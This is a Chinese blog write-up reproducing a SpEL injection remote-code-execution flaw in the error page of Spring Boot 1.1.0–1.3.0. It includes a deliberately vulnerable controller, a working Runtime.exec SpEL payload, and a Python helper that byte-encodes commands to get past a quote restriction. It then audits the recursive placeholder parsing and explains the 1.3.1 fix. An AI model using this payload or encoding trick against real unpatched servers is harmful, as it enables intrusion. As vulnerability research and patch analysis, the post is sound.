『JavaWeb漏洞复现』低版本Springboot报错页面SPEL注入

本文详细介绍了SpringBoot中的一个安全漏洞,该漏洞允许远程代码执行(RCE)。通过向特定控制器传入精心构造的SPEL表达式,攻击者可以在报错页面渲染时触发漏洞。影响版本包括1.1.0到1.3.0。修复措施主要涉及更新到1.3.1及以上版本,利用NonRecursivePropertyPlaceholderHelper避免递归解析,防止非法注入。文章还提供了代码审计和POC示例,以及漏洞修复的原理分析。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

漏洞简介

向一个可以能引发报错的controller传参,报错时会渲染出报错页面对输入的参数SPEL解析

影响范围

Springboot: 1.1.0 ~ 1.1.12、1.2.0 ~ 1.2.7、1.3.0

漏洞复现

新建Springboot项目,设置为受影响的版本

在这里插入图片描述

编写一个通过输入能抛出错误的controller

package com.example.springbooterrorpagerce;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class Controller {

    @ResponseBody
    @RequestMapping("/")
    public void inject(String spel){
        Integer.parseInt(spel);
    }
}

传入SPEL表达式触发注入

在这里插入图片描述

RCE注意事项

这里SPEL表达式是不能含有单双引号的,否则无法RCE,因此在exec的时候需要绕过:将引号字符串换成ascii表示

${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}

ascii转换:

# coding: utf-8

result = ""
target = 'open -a Calculator'
for x in target:
    result += hex(ord(x)) + ","
print(result.rstrip(','))

代码审计

从报错页面渲染开始,在org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration

在这里插入图片描述

this.template是报错页面的模板,渲染该页面是通过SPEL表达式解析来达到参数替换

<html>
  <body>
    <h1>Whitelabel Error Page</h1>
    <p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p>
    <div id='created'>${timestamp}</div>
    <div>There was an unexpected error (type=${error}, status=${status}).</div>
    <div>${message}</div>
  </body>
</html>

this.replacePlaceholders方法传入模板和占位符解析器来渲染页面,来到PropertyPlaceHolderHelper#parseStringValue方法

首先会对模板的所有被${}包裹的占位符进行一层${}去除,然后再递归去除多重包裹

在这里插入图片描述

获取占位符

在这里插入图片描述

获取到占位符就去解析对应的值

在这里插入图片描述

第一个被解析的是timestamp,这里用的是SPEL的解析器

在这里插入图片描述

占位符解析成功后,接着又会对解析出来的值再一次进行递归去除${}+SPEL解析

在这里插入图片描述

同理,当解析最后一个占位符message时,先从模板递归+SPEL解析出占位符message的值,然后又对message的值递归+SPEL解析

在这里插入图片描述

在这里插入图片描述

就在此时解析了可控输入产生漏洞

在这里插入图片描述

POP链

在这里插入图片描述

漏洞修复

漏洞产生是由于先从模板递归+SPEL解析出占位符message的值,然后又对message的值递归+SPEL解析,两次操作使用的是同一个方法,而本质上只需要在从模板中解析占位符时候调用SPEL,无需对值进行解析

因此官方在1.3.1版本更新了一个无递归解析的NonRecursivePropertyPlaceholderHelper

在这里插入图片描述

调用它的parseStringValue方法,然后再调用resolvePlaceholder方法时就会直接返回null而不会递归+SPEL解析

在这里插入图片描述

那么我们在resolvePlaceholder()处打断点:

在从模板解析${message}时:this.resolver不是NonRecursivePropertyPlaceholderHelper因此调用SPEL解析,解析结果是我们的传参字符串${7*8}

在这里插入图片描述

解析字符串${7*8}时发现是NonRecursivePropertyPlaceholderHelper因此返回null

在这里插入图片描述

返回null就不会进行递归解析了

在这里插入图片描述

更新后把模板占位符和具体替换值分开操作而不公用同一个方法,仅对占位符进行解析而不解析具体值,从而避免了非法注入

参考

https://www.cnblogs.com/litlife/p/10183137.html
https://github.com/LandGrey/SpringBootVulExploit#0x01whitelabel-error-page-spel-rce

欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/125223288
版权声明:本文为原创,转载时须注明出处及本声明

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值